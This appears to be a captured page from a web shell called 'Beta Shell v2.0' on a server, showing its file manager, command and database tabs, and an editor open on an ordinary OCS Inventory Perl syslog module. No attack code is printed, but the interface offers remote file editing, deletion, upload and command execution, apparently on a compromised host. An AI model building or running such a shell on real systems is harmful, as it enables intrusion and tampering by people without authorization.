Beta Shell
v2.0 ยท web2.us.cloudlogin.co
[FM]
[CMD]
[PHP]
[DB]
[INFO]
[SEC]
File Manager
~
/
usr
/
share
/
perl5
/
vendor_perl
/
Ocsinventory
/
LoggerBackend
Upload
5 items
Name
Size
Perms
Modified
Actions
[ .. / .. ]
File.pm
594 B
-rw-r--r--
2024-10-28 14:52:47
Edit
Del
Stderr.pm
593 B
-rw-r--r--
2024-10-28 14:52:47
Edit
Del
Syslog.pm
521 B
-rw-r--r--
2024-10-28 14:52:47
Edit
Del
Editing: Syslog.pm
(521 B)
Path: /usr/share/perl5/vendor_perl/Ocsinventory/LoggerBackend/Syslog.pm
Back
package Ocsinventory::LoggerBackend::Syslog; # Not tested yet! use Sys::Syslog qw( :DEFAULT setlogsock); sub new { my (undef, $params) = @_; my $self = {}; openlog("ocs-agent",'cons.pid', $params->{config}->{logfacility}); syslog('debug', 'syslog backend enabled'); bless $self; } sub addMsg { my (undef, $args) = @_; my $level = $args->{level}; my $message = $args->{message}; return if $message =~ /^$/; syslog('info', $message); } sub destroy { closelog(); } 1;